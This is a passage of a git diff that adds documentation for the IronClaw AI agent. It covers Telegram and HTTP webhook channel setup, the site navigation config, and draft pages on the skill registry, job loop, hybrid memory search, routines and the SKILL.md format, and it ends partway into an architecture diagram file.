`respond_to_all_group_messages` + +Relevant options: +- If `respond_to_all_group_messages` is set to `false`, the bot will only respond to messages that mention it. +In this case, make sure to set the `bot_username` option with the bot's username (without the `@`) + +### Polling + +In case you do not want to configure a `tunnel`, you can setup the Telegram channel to poll for +new messages every certain interval of time. + +To do this, set the `polling_enabled` option to `true` and configure the `poll_interval_ms` option +with the desired polling interval in milliseconds (default is 30000ms, which is 30 seconds). + +### Configuration Examples + +**Private Team Assistant** — mentions only, pairing for DMs: +```json +{ + "bot_username": "TeamBot", + "respond_to_all_group_messages": false, + "dm_policy": "pairing" +} +``` + +**Always-On Expert** — responds to all messages: +```json +{ + "bot_username": "DevOpsBot", + "respond_to_all_group_messages": true, + "allow_from": ["*"] +} +``` + +**Owner-Only** — personal assistant in shared groups: +```json +{ + "bot_username": "MyBot", + "respond_to_all_group_messages": false, + "owner_id": "12345678" +} +``` + +--- + +## Group Chat Participation + +IronClaw can be configured to participate in Telegram group chats, by default the bot will only respond to commands (use `/help` to see the +list of available commands). If you want the bot to respond to mentions or all messages in a group you need to configure it. + +### Adding the Bot to Groups + +1. **Enable group privacy** in @BotFather: + - Message [@BotFather](https://t.me/BotFather) + - Send `/mybots` → Select your bot + - Click "Bot Settings" → "Group Privacy" + - Turn OFF "Privacy mode" (allows bot to see all messages) + +2. **Add bot to a group**: + - Open the group in Telegram + - Add member → Search for your bot username + - Grant admin permissions (optional but recommended) + +3. **Configure `bot_username`** in IronClaw: + ```json + { + "bot_username": "MyIronClawBot" + } + ``` + +### Group Trigger Modes + +#### Commands & Mentions + +The bot responds when a command is used, e.g. `/skills`, or when the bot is mentioned, e.g. `@MyIronClawBot what's the weather?` + +Configuration: + +- Set "Privacy mode" to `OFF` in @BotFather, or make the bot a group admin +- Configure the `bot_username`: + +```json +{ + "bot_username": "MyIronClawBot", + "respond_to_all_group_messages": false +} +``` + +Benefits: +- Respects group conversation flow +- No spam from unsolicited responses +- Users explicitly choose to engage the agent + +#### Respond to All Messages + +The bot processes and responds to every message in the group. + +- Set "Privacy mode" to OFF in @BotFather, or make the bot a group admin +- Configure both `bot_username` and `respond_to_all_group_messages`: + +Configuration: +```json +{ + "bot_username": "MyIronClawBot", + "respond_to_all_group_messages": true +} +``` + +Use cases: +- Small team rooms where the agent is always helpful +- Automated moderation or summarization +- Specific-topic groups where the agent provides expertise + +--- + +## Message Privacy + + + + - All messages in groups where privacy mode is disabled + - Usernames and display names + - Message timestamps + - Reply chains (threading context) + + + + - The message text (with @mention stripped) + - Sender identifier (username or first name) + - Recent conversation history in that thread + + + + +--- + +## Webhook Secret (Optional) + +When IronClaw is running in webhook mode, Telegram delivers messages by sending HTTP requests to your public URL. Because that URL is reachable from the internet, any third party could send fake requests to it. + +A webhook secret is a shared token you configure in IronClaw. Telegram includes that token in every request it sends. IronClaw rejects any request that does not carry the correct token, so only genuine Telegram traffic reaches your agent. + +To enable it, add `telegram_webhook_secret` to your `.ironclaw/channels/telegram.capabilities.json`: + +```json +{ + "telegram_webhook_secret": "your-secret-here" +} +``` + +Generate a suitable value with: + +```bash +openssl rand -hex 16 +``` + + +The webhook secret is only relevant when `polling_enabled` is `false`. If you are using polling, this option has no effect. + + +--- + +## Troubleshooting + + + + **Polling:** Check logs for `getUpdates` errors and verify the bot token is valid. + + **Webhook:** Verify the HTTPS URL is reachable and the tunnel is running. + + + + - Ensure `dm_policy` is set to `pairing` and not `allowlist` + - Verify `api.telegram.org` is accessible from your instance + + + + - Confirm `bot_username` is set and matches the bot username exactly, without the `@` + - Verify the bot has permission to read group messages + + + + - Disable Privacy Mode in @BotFather: `/mybots` → Bot Settings → Group Privacy → turn OFF + - Remove and re-add the bot to the group after changing the privacy setting + + + + - Set `respond_to_all_group_messages` to `false` + - Verify the config was saved and restart the agent + + + + The wizard waits 120 seconds for the first message. If it times out, send `/start` to your bot in Telegram and re-run `ironclaw onboard --channels-only`. + + \ No newline at end of file diff --git a/docs/channels/webhook.mdx b/docs/channels/webhook.mdx new file mode 100644 index 0000000000..82b521d587 --- /dev/null +++ b/docs/channels/webhook.mdx @@ -0,0 +1,187 @@ +--- +title: HTTP Webhook +sidebarTitle: Webhook +description: REST API for external integrations +--- + +The HTTP Webhook channel provides a REST API for integrating external services with IronClaw. + + +If you haven't set up your agent yet, follow our [Quickstart guide](../quickstart) + + +--- + +## Enabling Webhooks + +```bash +export HTTP_ENABLED=true +export HTTP_HOST=0.0.0.0 +export HTTP_PORT=8080 +export HTTP_WEBHOOK_SECRET=your-secret +``` + +Or during onboarding: +``` +Step 6: Channel Configuration +→ Select "HTTP Webhook" +→ Port: 8080 +``` + +--- + +## Security + + +The HTTP webhook binds to `0.0.0.0:8080` by default. If you don't need external webhook delivery, set `HTTP_HOST=127.0.0.1`. + + +### Shared Secret Validation + +Configure a webhook secret to validate requests: + +```bash +export HTTP_WEBHOOK_SECRET="your-secret-here" +``` + +The secret is sent in the `X-Webhook-Secret` header. + +### Rate Limiting + +- **Body size**: 64 KB maximum +- **Rate**: 60 requests per minute per IP + +--- + +## Sending Messages + +### Request Format + +```bash +curl -X POST http://localhost:8080/webhook \ + -H "Content-Type: application/json" \ + -H "X-Webhook-Secret: your-secret" \ + -d '{ + "user_id": "default", + "message": "Hello, IronClaw!" + }' +``` + +### Response Format + +```json +{ + "job_id": "uuid", + "status": "queued" +} +``` + +--- + +## Payload Fields + +| Field | Type | Required | Description | +|-------|------|----------|-------------| +| `user_id` | string | Yes | User identifier | +| `message` | string | Yes | Message content | +| `conversation_id` | string | No | Continue existing conversation | +| `metadata` | object | No | Arbitrary metadata | + +## Response Fields + +| Field | Type | Description | +|-------|------|-------------| +| `job_id` | string | Job UUID for status checking | +| `status` | string | `queued`, `running`, `completed` | +| `response` | string | Agent response (when complete) | + +--- + +## Checking Status + +```bash +curl http://localhost:8080/jobs/{job_id} -H "X-Webhook-Secret: your-secret" +``` + +Response: +```json +{ + "id": "uuid", + "status": "completed", + "response": "Hello! How can I help?", + "created_at": "2024-01-15T10:30:00Z", + "completed_at": "2024-01-15T10:30:05Z" +} +``` + +--- + +## Error Responses + +| Status | Meaning | +|--------|---------| +| `400` | Invalid request body | +| `401` | Missing or invalid secret | +| `429` | Rate limit exceeded | +| `500` | Server error | + +--- + +## Example Integrations + +### GitHub Webhook + +Configure GitHub to send events to your IronClaw webhook URL: + +```bash +# GitHub webhook URL +https://your-server:8080/webhook + +# Secret: your configured HTTP_WEBHOOK_SECRET +``` + +### Zapier + +Use Zapier's Webhook action to send events to IronClaw. + +### Custom Script + +```python +import requests + +response = requests.post( + "http://localhost:8080/webhook", + headers={"X-Webhook-Secret": "your-secret"}, + json={"user_id": "automation", "message": "Process this data"} +) + +print(response.json()["job_id"]) +``` + +--- + +## Troubleshooting + + + + - Check IronClaw is running + - Verify `HTTP_PORT` is correct + - Check firewall: `sudo ufw allow 8080` + + + + - Include `X-Webhook-Secret` header + - Verify secret matches configuration + + + + - Rate limit: 60 requests/minute + - Implement exponential backoff + + + + - Check logs: `RUST_LOG=ironclaw=debug ironclaw run` + - Verify JSON format + - Check `user_id` is valid + + diff --git a/docs/docs.json b/docs/docs.json new file mode 100644 index 0000000000..7a6d14605e --- /dev/null +++ b/docs/docs.json @@ -0,0 +1,309 @@ +{ + "$schema": "https://mintlify.com/docs.json", + "theme": "almond", + "name": "IronClaw", + "colors": { + "primary": "#1191f0", + "light": "#1191f0", + "dark": "#1191f0" + }, + "favicon": "/images/logo/favicon.ico", + "logo": { + "light": "/images/logo/logo.svg", + "dark": "/images/logo/logo-dark.svg" + }, + "navbar": { + "links": [ + { + "label": "Get Support", + "href": "https://t.me/ironclawAI" + } + ], + "primary": { + "type": "button", + "label": "Deploy Now", + "href": "https://agent.near.ai/" + } + }, + "navigation": { + "languages": [ + { + "language": "en", + "tabs": [ + { + "tab": " ", + "groups": [ + { + "group": " ", + "pages": [ + "index", + "quickstart", + "onboard" + ] + }, + { + "group": "Capabilities", + "icon": "cubes", + "pages": [ + "capabilities/overview", + "capabilities/llm-providers", + { + "group": "Core Capabilities", + "pages": [ + "security", + { + "group": "Memory", + "pages": [ + "capabilities/memory/memory", + "capabilities/memory/identity" + ] + }, + { + "group": "Routines", + "pages": [ + "capabilities/routines/cron", + "capabilities/routines/heartbeat", + "capabilities/routines/reactive" + ] + }, + { + "group": "Jobs", + "pages": [ + "capabilities/jobs/jobs", + "capabilities/jobs/self-repair" + ] + }, + "capabilities/skills", + "capabilities/sandboxed-tools" + ] + } + ] + }, + { + "group": "Channels", + "icon": "message", + "pages": [ + "channels/overview", + { + "group": "Built-in Channels", + "pages": [ + "tunnel", + "channels/local", + "channels/discord", + "channels/telegram", + "channels/webhook", + "channels/signal" + ] + } + ] + }, + { + "group": "Extensions (Tools)", + "icon": "hammer", + "pages": [ + "extensions/overview", + { + "group": "Built-in Extensions", + "pages": [ + "extensions/file-tools", + "extensions/github", + { + "group": "Google", + "pages": [ + "extensions/google/oauth-setup", + "extensions/google/gmail", + "extensions/google/calendar", + "extensions/google/docs", + "extensions/google/drive", + "extensions/google/sheets", + "extensions/google/slides" + ] + }, + "extensions/mcp", + "extensions/web-search", + "extensions/shell" + ] + } + ] + }, + { + "group": "Tutorials", + "icon": "graduation-cap", + "pages": [ + "extensions/building-a-tool", + "channels/building-a-channel", + { + "group": "How to host IronClaw on...", + "pages": [ + "infrastructure/droplet" + ] + } + ] + } + ] + } + ] + }, + { + "language": "zh", + "navbar": { + "links": [ + { + "label": "支持", + "href": "https://t.me/ironclawAI" + } + ], + "primary": { + "type": "button", + "label": "立即部署", + "href": "https://agent.near.ai/" + } + }, + "tabs": [ + { + "tab": " ", + "groups": [ + { + "group": " ", + "pages": [ + "zh/index", + "zh/quickstart", + "zh/onboard" + ] + }, + { + "group": "核心能力", + "icon": "cubes", + "pages": [ + "zh/capabilities/overview", + { + "group": "核心能力", + "pages": [ + "zh/security", + { + "group": "记忆", + "pages": [ + "zh/capabilities/memory/memory", + "zh/capabilities/memory/identity" + ] + }, + { + "group": "例程", + "pages": [ + "zh/capabilities/routines/cron", + "zh/capabilities/routines/heartbeat", + "zh/capabilities/routines/reactive" + ] + }, + { + "group": "任务", + "pages": [ + "zh/capabilities/jobs/jobs", + "zh/capabilities/jobs/self-repair" + ] + }, + "zh/capabilities/skills", + "zh/capabilities/sandboxed-tools" + ] + } + ] + }, + { + "group": "渠道", + "icon": "message", + "pages": [ + "zh/channels/overview", + { + "group": "内置渠道", + "pages": [ + "zh/tunnel", + "zh/channels/local", + "zh/channels/signal", + "zh/channels/telegram", + "zh/channels/webhook" + ] + } + ] + }, + { + "group": "扩展(工具)", + "icon": "hammer", + "pages": [ + "zh/extensions/overview", + { + "group": "内置扩展", + "pages": [ + "zh/extensions/file-tools", + "zh/extensions/github", + { + "group": "Google", + "pages": [ + "zh/extensions/google/oauth-setup", + "zh/extensions/google/gmail", + "zh/extensions/google/calendar", + "zh/extensions/google/docs", + "zh/extensions/google/drive", + "zh/extensions/google/sheets", + "zh/extensions/google/slides" + ] + }, + "zh/extensions/mcp", + "zh/extensions/web-search", + "zh/extensions/shell" + ] + } + ] + }, + { + "group": "教程", + "icon": "graduation-cap", + "pages": [ + "zh/extensions/building-a-tool", + { + "group": "在以下平台托管 IronClaw", + "pages": [ + "zh/infrastructure/droplet" + ] + } + ] + } + ] + } + ] + } + ], + "global": { + "anchors": [ + { + "anchor": "Agent Dashboard", + "href": "https://agent.near.ai/", + "icon": "sliders" + }, + { + "anchor": "NEAR AI Cloud", + "href": "https://cloud.near.ai", + "icon": "cloud" + } + ] + } + }, + "contextual": { + "options": [ + "copy", + "view", + "chatgpt", + "claude", + "perplexity", + "mcp", + "cursor", + "vscode" + ] + }, + "footer": { + "socials": { + "x": "https://x.com/near_ai", + "github": "https://github.com/nearai", + "linkedin": "https://linkedin.com/company/near-ai" + } + } +} \ No newline at end of file diff --git a/docs/drafts/agents/clawhub.mdx b/docs/drafts/agents/clawhub.mdx new file mode 100644 index 0000000000..6d47d81e89 --- /dev/null +++ b/docs/drafts/agents/clawhub.mdx @@ -0,0 +1,131 @@ +--- +title: ClawHub Registry +sidebarTitle: ClawHub +description: Discover and install skills from the ClawHub registry +--- + +ClawHub is the official registry for IronClaw skills. It lets you discover community-built skills, install them with a single command, and keep them up to date — without leaving the agent interface. + +## What ClawHub Provides + +- **Searchable catalog** of skills organized by category and keyword +- **Versioned downloads** — install a specific version or always pull the latest +- **Trust boundary** — all registry-installed skills run under the **Installed** trust level, limiting tool access to read-only operations + + +Skills from ClawHub are installed with **Installed** trust, not **Trusted** trust. They cannot execute shell commands, write files, or make HTTP requests. If you need elevated access, download the SKILL.md manually and place it in `~/.ironclaw/skills/` after reviewing the contents. + + +## Skill Tools + +Four built-in tools manage skills at runtime. Use them directly in conversation: + +### skill_list + +List all discovered skills on this instance, including trust level, activation status, and source directory. + +``` +skill_list + +# Example output: +# kubernetes-deploy (trusted) ~/.ironclaw/skills/ +# git-helper (trusted) /skills/ +# python-lint (installed) ~/.ironclaw/installed_skills/ +``` + +### skill_search + +Search the ClawHub registry for available skills matching a query. + +``` +skill_search "terraform infrastructure" + +# Returns: skill name, description, version, download count, tags +``` + +### skill_install + +Download and install a skill from ClawHub into `~/.ironclaw/installed_skills/`. + +``` +skill_install python-lint +skill_install python-lint@0.3.1 # pin a specific version +``` + +The skill is immediately available after installation — no restart required. + +### skill_remove + +Remove an installed skill from `~/.ironclaw/installed_skills/`. + +``` +skill_remove python-lint +``` + +Trusted skills in `~/.ironclaw/skills/` must be removed manually by deleting the directory. + +## Configuration + +```bash +# ClawHub registry URL +SKILLS_CATALOG_URL=https://clawhub.dev + +# Maximum tokens injected per turn across all active skills +SKILLS_MAX_TOKENS=4000 + +# Scan skill directories at startup +SKILLS_AUTO_DISCOVER=true +``` + +## How Installation Works + + + + Use `skill_search` or visit [clawhub.dev](https://clawhub.dev) to find a skill. Note the skill's slug (e.g., `python-lint`). + + + + Run `skill_install `. The agent fetches the SKILL.md from the registry and writes it to `~/.ironclaw/installed_skills//SKILL.md`. + + + + On the next turn, the skill is eligible for scoring and injection. It will activate automatically when your messages match its keywords or patterns. + + + + Run `skill_list` to confirm the skill appears with `(installed)` trust level. + + + +## Updating Skills + +Skills installed from ClawHub are pinned to the version at installation time. To update: + +``` +skill_remove python-lint +skill_install python-lint +``` + +This removes the old version and installs the current latest from the registry. + +## Publishing to ClawHub + +ClawHub is an open registry. To publish a skill: + +1. Write a valid SKILL.md following the [SKILL.md Format](/agents/skills-format) +2. Test it locally by placing it in `~/.ironclaw/skills/` +3. Submit via the ClawHub web interface at [clawhub.dev](https://clawhub.dev) + +Published skills are reviewed before appearing in search results. + +## Next Steps + + + + How the activation pipeline and trust levels work + + + + Write your own skills from scratch + + diff --git a/docs/drafts/agents/index.mdx b/docs/drafts/agents/index.mdx new file mode 100644 index 0000000000..8ffa27aac8 --- /dev/null +++ b/docs/drafts/agents/index.mdx @@ -0,0 +1,126 @@ +--- +title: Agent Overview +sidebarTitle: Overview +description: How IronClaw's agent runtime processes requests and executes jobs +--- + +IronClaw's agent runtime is an always-on loop that accepts messages from any channel, classifies intent, and dispatches work as parallel jobs — each independently tracked through a defined state machine. + +## Agent Loop + +When a message arrives, the agent loop: + +1. **Classifies intent** — The router determines whether the message is a new task, a follow-up, a command (undo, compact, clear), or a system event +2. **Creates a job** — Each unit of work gets its own isolated job context with conversation memory +3. **Schedules execution** — The scheduler dispatches the job to a worker, respecting the `MAX_PARALLEL_JOBS` limit +4. **Runs the worker** — The worker performs LLM reasoning, selects tools, and executes in a loop until the job reaches a terminal state +5. **Returns output** — Results stream back to the originating channel in real time + +``` +Channel Input + ↓ +[Router] → Classify intent + ↓ +[Scheduler] → Check capacity (MAX_PARALLEL_JOBS) + ↓ +[Worker] → LLM reasoning + tool execution + ↓ +[Safety Layer] → Scan outputs + ↓ +Channel Response +``` + +## Parallel Jobs + +Multiple jobs run concurrently. Each job has its own context — memory, tool state, and conversation history — isolated from other jobs. + +| Setting | Default | Description | +|---------|---------|-------------| +| `MAX_PARALLEL_JOBS` | `5` | Maximum concurrent jobs per agent instance | + +When the limit is reached, new requests queue until a job slot opens. The scheduler uses a priority queue and respects job order within the same session. + +## Job State Machine + +Every job moves through a defined set of states: + +``` +Pending + ↓ +InProgress ──────────────┬──► Completed + ↑ │ + │ (recovery) └──► Failed + │ + Stuck ────────────────────► Failed (if unrecoverable) +``` + +| State | Meaning | +|-------|---------| +| **Pending** | Created, waiting for a worker slot | +| **InProgress** | Actively executing | +| **Completed** | Finished successfully | +| **Failed** | Terminal failure — no further retries | +| **Stuck** | No progress detected — recovery attempted | + +The self-repair system monitors InProgress jobs and transitions stuck ones back to InProgress for recovery. See [Self-Repair](/agents/self-repair) for details. + +## Session Model + +IronClaw uses a three-level session hierarchy: + +| Level | Description | +|-------|-------------| +| **Session** | A named context (e.g., a project or topic) | +| **Thread** | A conversation within a session | +| **Turn** | A single user message + agent response pair | + +Each turn is a checkpoint. You can undo the last turn, redo a cancelled turn, or compact old turns to reduce context window pressure. + +## Undo / Redo + +The agent tracks every turn with a state checkpoint: + +``` +undo → Revert to the state before the last turn +redo → Re-apply the most recently undone turn +compact → Summarize old turns to free context window space +clear → Reset the current thread +``` + +Type these commands directly in any channel — the submission parser intercepts them before they reach the LLM. + +## Context Window Management + +As conversations grow, context pressure increases. IronClaw handles this automatically: + +- **Context monitor** tracks token usage per turn +- **Compaction** summarizes old turns when pressure is high +- **Manual compact** is available via the `compact` command + +## Next Steps + + + + State machine details, job tools, and concurrency configuration + + + + Automatic detection and recovery of stuck jobs + + + + Context-aware prompt extensions that activate automatically + + + + Scheduled and event-driven automation + + + + Persistent workspace with hybrid search + + + + Proactive periodic execution + + diff --git a/docs/drafts/agents/memory-search.mdx b/docs/drafts/agents/memory-search.mdx new file mode 100644 index 0000000000..c52703a004 --- /dev/null +++ b/docs/drafts/agents/memory-search.mdx @@ -0,0 +1,131 @@ +--- +title: Hybrid Search +sidebarTitle: Hybrid Search +description: FTS + vector search combined via Reciprocal Rank Fusion +--- + +The `memory_search` tool uses hybrid search — combining keyword-based full-text search (FTS) with semantic vector search — and merges the results using Reciprocal Rank Fusion (RRF). This gives you the precision of exact keyword matches and the recall of semantic similarity in a single query. + +## Why Hybrid Search + +Neither search method alone is sufficient: + +| Method | Strength | Weakness | +|--------|----------|----------| +| **FTS (keyword)** | Finds exact terms, names, IDs | Misses synonyms and paraphrased content | +| **Vector (semantic)** | Finds related concepts even with different words | Can miss exact matches, slower | +| **Hybrid (RRF)** | Best of both — precise and semantically aware | Requires embedding model | + +## Reciprocal Rank Fusion (RRF) + +RRF merges two ranked result lists into a single ranked list without needing to calibrate score scales between the two systems. + +For each document that appears in either result list: + +``` +RRF_score = 1 / (k + rank_fts) + 1 / (k + rank_vector) +``` + +Where `k` is a smoothing constant (typically 60) and `rank` is the 1-based position in each list. Documents appearing in both lists score higher than those in only one. Documents ranked near the top of either list score higher than those ranked lower. + +The final results are sorted by RRF score descending. + +## Chunking Strategy + +Documents are not searched as whole files. They are split into overlapping chunks before indexing: + +| Parameter | Value | +|-----------|-------| +| **Chunk size** | 800 tokens | +| **Overlap** | 15% (~120 tokens between chunks) | + +The overlap ensures that content near chunk boundaries is not lost. Each chunk is independently indexed for FTS and vector search. Search results return the matching chunk with its parent document path. + +When you write a long document via `memory_write`, it is automatically chunked and indexed. Updating a document re-chunks and re-indexes it entirely. + +## Embedding Providers + +Vector search requires embedding models to convert text into semantic vectors. IronClaw supports two embedding providers: + +### OpenAI (default) + +Uses OpenAI's text embedding API. Requires `OPENAI_API_KEY`. + +| Model | Dimensions | Notes | +|-------|-----------|-------| +| `text-embedding-3-small` | 1536 | Default — fast, cost-effective | +| `text-embedding-3-large` | 3072 | Higher quality, higher cost | + +### NEAR AI + +Uses NEAR AI's embedding endpoint. Requires NEAR AI authentication (session token or API key). + +```bash +EMBEDDING_PROVIDER=nearai +``` + +## Configuration + +```bash +# Embedding provider: "openai" (default) or "nearai" +EMBEDDING_PROVIDER=openai + +# Enable vector search (requires embedding provider) +EMBEDDING_ENABLED=true + +# Embedding model (OpenAI provider) +EMBEDDING_MODEL=text-embedding-3-small + +# OpenAI API key (required for OpenAI embedding provider) +OPENAI_API_KEY=sk-... +``` + + +If `EMBEDDING_ENABLED=false` or no embedding provider is configured, `memory_search` falls back to FTS-only search. Results will still be useful but semantic similarity matching is disabled. + + +## FTS Backend + +Full-text search is implemented differently per database backend: + +| Backend | FTS Implementation | +|---------|--------------------| +| **PostgreSQL** | `tsvector` with `ts_rank_cd` scoring | +| **libSQL** | FTS5 virtual table with sync triggers | + +Both backends support the same query interface. Queries are tokenized, stemmed, and matched against indexed document chunks. + +## Query Tips + +- **Keyword queries** work best for specific terms, names, IDs, and exact phrases +- **Natural language queries** work best for semantic search (e.g., "how we decided to handle authentication") +- **Hybrid queries** benefit from including both specific terms and context + +``` +memory_search "kubernetes deployment errors last week" +memory_search "why did we choose postgres over sqlite" +memory_search "KUBECONFIG authentication setup" +``` + +## Database Storage + +Chunks and their embeddings are stored in two tables: + +| Table | Contents | +|-------|----------| +| `memory_documents` | Document metadata: path, title, created/updated timestamps | +| `memory_chunks` | Chunk content, FTS index, and vector embeddings | + +Vector embeddings are stored as `VECTOR(1536)` (PostgreSQL with pgvector) or `F32_BLOB(1536)` (libSQL with libsql_vector_idx). + +## Next Steps + + + + Workspace structure and the four memory tools + + + + Files injected into the system prompt on every turn + + diff --git a/docs/drafts/agents/routines.mdx b/docs/drafts/agents/routines.mdx new file mode 100644 index 0000000000..38db24e00a --- /dev/null +++ b/docs/drafts/agents/routines.mdx @@ -0,0 +1,130 @@ +--- +title: Routines Overview +sidebarTitle: Routines +description: Scheduled and reactive task automation +--- + +Routines let IronClaw take action without a human in the loop. Define a trigger, an action, and optional guardrails — the agent handles the rest automatically. + +## Two Trigger Types + + + + Schedule tasks using cron expressions. Runs on a repeating schedule — hourly, daily, weekly, or any custom interval. + + + + React to events and webhooks. Triggers when specific conditions are met — a file changes, a webhook fires, or an internal event occurs. + + + +## Routine Anatomy + +Every routine has three parts: + +### Trigger + +What causes the routine to run. Either a cron schedule or an event/webhook condition. + +```yaml +trigger: + type: cron + schedule: "0 9 * * 1-5" # 9am Monday–Friday +``` + +```yaml +trigger: + type: webhook + path: /hooks/deploy + secret: ${DEPLOY_WEBHOOK_SECRET} +``` + +### Action + +What the routine does when triggered. This is a prompt sent to the agent — the full reasoning and tool execution loop runs as a job. + +```yaml +action: + prompt: | + Check the last 24 hours of application logs for errors. + Summarize any critical issues and write a report to memory at daily/errors.md. +``` + +### Guardrails + +Optional constraints that limit what the routine can do. Guardrails prevent runaway automation. + +```yaml +guardrails: + max_tokens: 8000 # Stop if LLM usage exceeds this per run + max_tool_calls: 20 # Stop if more than 20 tool calls are made + allowed_tools: # Whitelist specific tools (empty = all allowed) + - memory_write + - memory_read + - memory_search + timeout_secs: 300 # Kill the job after 5 minutes +``` + +## Managing Routines + +### Via Chat + +Create routines by describing them to the agent: + +``` +Create a routine that runs every morning at 8am and checks my email inbox +for anything urgent, then writes a summary to memory. +``` + +The agent will use the `routine_create` tool to set it up. + +### Via Web UI + +The web gateway includes a Routines tab with a visual interface for creating, editing, enabling, and disabling routines. Changes take effect on the next tick. + +### Via Tools + +Six built-in tools manage routines programmatically: + +| Tool | Description | +|------|-------------| +| `routine_create` | Create a new routine with trigger, action, and guardrails | +| `routine_list` | List all routines with status and last-run info | +| `routine_update` | Modify an existing routine's trigger, action, or guardrails | +| `routine_delete` | Remove a routine permanently | +| `routine_history` | View execution history and outcomes for a routine | + +## Configuration + +```bash +# Enable routines system +ROUTINES_ENABLED=true + +# Cron tick interval — how often the engine checks for due cron jobs +ROUTINES_CRON_INTERVAL=60 # seconds (default: 60) + +# Maximum routines running at the same time +ROUTINES_MAX_CONCURRENT=3 +``` + + +`ROUTINES_CRON_INTERVAL` controls tick granularity, not execution frequency. A routine scheduled at `0 * * * *` (every hour on the hour) will fire within `ROUTINES_CRON_INTERVAL` seconds of the scheduled time. + + +## Execution Model + +When a routine fires, it creates a standard agent job. The job runs through the full agent loop — LLM reasoning, tool calls, safety layer — with the action prompt as the initial message. Guardrails are enforced by the routine engine as the job runs. + +Routine jobs appear in job history alongside manual jobs. You can inspect them with `list_jobs` or `job_status`. + +## Next Steps + + + + Schedule recurring tasks with cron expressions + + + + Event-driven and webhook-triggered automation + + diff --git a/docs/drafts/agents/skills-format.mdx b/docs/drafts/agents/skills-format.mdx new file mode 100644 index 0000000000..7b530c1d14 --- /dev/null +++ b/docs/drafts/agents/skills-format.mdx @@ -0,0 +1,172 @@ +--- +title: SKILL.md Format +sidebarTitle: SKILL.md Format +description: YAML frontmatter schema for writing custom skills +--- + +A SKILL.md file has two parts: a YAML frontmatter block that controls when and how the skill activates, and a markdown body that gets injected into the LLM context when it does. + +## Full Example + +```yaml +--- +name: kubernetes-deploy +version: 0.2.0 +description: Kubernetes deployment and operations guidance +activation: + patterns: + - "deploy to.*production" + - "rollback.*deployment" + - "kubectl.*error" + keywords: + - deployment + - kubernetes + - kubectl + - k8s + - pod + - namespace + max_context_tokens: 2000 +metadata: + ironclaw: + requires: + bins: + - kubectl + - docker + env: + - KUBECONFIG +--- + +# Kubernetes Deployment Skill + +You are operating in a Kubernetes environment. Follow these guidelines: + +## Deployment Checklist + +Before deploying to production: +1. Verify the image tag is pinned (never use `latest`) +2. Check resource limits are set on all containers +3. Confirm readiness and liveness probes are defined +4. Review the rollout strategy (RollingUpdate recommended) + +## Common Commands + +```bash +# Check rollout status +kubectl rollout status deployment/ -n + +# Rollback to previous version +kubectl rollout undo deployment/ -n + +# View pod logs +kubectl logs -l app= -n --tail=100 +``` + +## Error Patterns + +- `ImagePullBackOff` → Check image name, tag, and registry credentials +- `CrashLoopBackOff` → Check container logs and resource limits +- `Pending` → Check node resources and PVC availability +``` + +## Frontmatter Fields + +| Field | Type | Required | Description | +|-------|------|----------|-------------| +| `name` | string | Yes | Unique identifier for the skill. Used in `skill_list` output and log messages. Use kebab-case. | +| `version` | string | Yes | SemVer version string (e.g., `0.1.0`). Used for update detection from ClawHub. | +| `description` | string | Yes | One-line human-readable description. Shown in skill listings and registry search results. | +| `activation.patterns` | string[] | No | Regex patterns matched against the full incoming message. Any match raises the skill's score. | +| `activation.keywords` | string[] | No | Simple keyword matches (case-insensitive, substring). Each keyword match adds to the score. | +| `activation.max_context_tokens` | integer | No | Maximum tokens this skill may contribute per turn. Defaults to `SKILLS_MAX_TOKENS / 2` if omitted. | +| `metadata.ironclaw.requires.bins` | string[] | No | Binaries that must exist on `PATH`. Skill is gated out if any are missing. | +| `metadata.ironclaw.requires.env` | string[] | No | Environment variables that must be set. Skill is gated out if any are missing. | + +## Activation Scoring + +Skills are scored before selection. The scoring algorithm is deterministic: + +- Each **keyword** match in the incoming message: +1 point +- Each **pattern** (regex) match: +3 points +- Skills with zero score are not injected (unless no other skills match) + +When multiple skills score equally, they are ordered by `name` for reproducibility. + +## Markdown Body + +Everything after the closing `---` of the frontmatter is the skill's body. This is injected verbatim into the LLM system prompt when the skill activates. + +Write the body as instructions to the agent: + +```markdown +# My Skill + +You are helping with [topic]. Follow these guidelines: + +- Guideline one +- Guideline two + +## Reference + +Include tables, code examples, and structured information the agent +should have available when handling related requests. +``` + +### Body Guidelines + +- Keep it concise — every token injected costs budget +- Write in second person ("You are...", "When the user asks...") +- Include concrete examples and reference tables where useful +- Avoid narrative prose — the agent prefers structured information +- Code blocks in the body are injected as-is into the prompt + +## Minimal Skill Example + +The simplest valid SKILL.md: + +```yaml +--- +name: git-helper +version: 0.1.0 +description: Git workflow guidance +activation: + keywords: + - git + - commit + - branch + - merge +--- + +# Git Helper + +Follow conventional commits format: `type(scope): description` + +Types: feat, fix, docs, style, refactor, test, chore + +Always check `git status` before committing. +``` + +## File Location + +Place your SKILL.md file in one of the trusted directories: + +```bash +# Global skill (available everywhere) +~/.ironclaw/skills/my-skill/SKILL.md + +# Workspace-scoped skill +/skills/my-skill/SKILL.md +``` + +The directory name does not need to match the `name` field, but using the same value avoids confusion. + +## Next Steps + + + + Activation pipeline, trust levels, and skill directories + + + + Share and discover skills from the community registry + + diff --git a/docs/drafts/assets/favicon.svg b/docs/drafts/assets/favicon.svg new file mode 100644 index 0000000000..a68e6f7fb2 --- /dev/null +++ b/docs/drafts/assets/favicon.svg @@ -0,0 +1,7 @@ + + + + + + + \ No newline at end of file diff --git a/docs/drafts/assets/ironclaw-architecture.excalidraw b/docs/drafts/assets/ironclaw-architecture.excalidraw new file mode 100644 index 0000000000..e0de41946b --- /dev/null +++ b/docs/drafts/assets/ironclaw-architecture.excalidraw @@ -0,0 +1,2214 @@ +{ + "type": "excalidraw", + "version": 2, + "source": "https://excalidraw.com", + "elements": [ + { + "type": "text", + "id": "title", + "x": 271.62890625, + "y": 18.31640625, + "width": 400, + "height": 40, + "text": "IronClaw Architecture", + "originalText": "IronClaw Architecture", + "fontSize": 32, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "top", + "strokeColor": "#1e40af", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100001, + "version": 49, + "versionNonce": 1719348273, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": null, + "lineHeight": 1.25, + "index": "a0", + "frameId": null, + "roundness": null, + "updated": 1772672072292, + "autoResize": true + }, + { + "type": "text", + "id": "subtitle", + "x": 253.08984375, + "y": 66.15234375, + "width": 400, + "height": 25, + "text": "Secure Personal AI Assistant", + "originalText": "Secure Personal AI 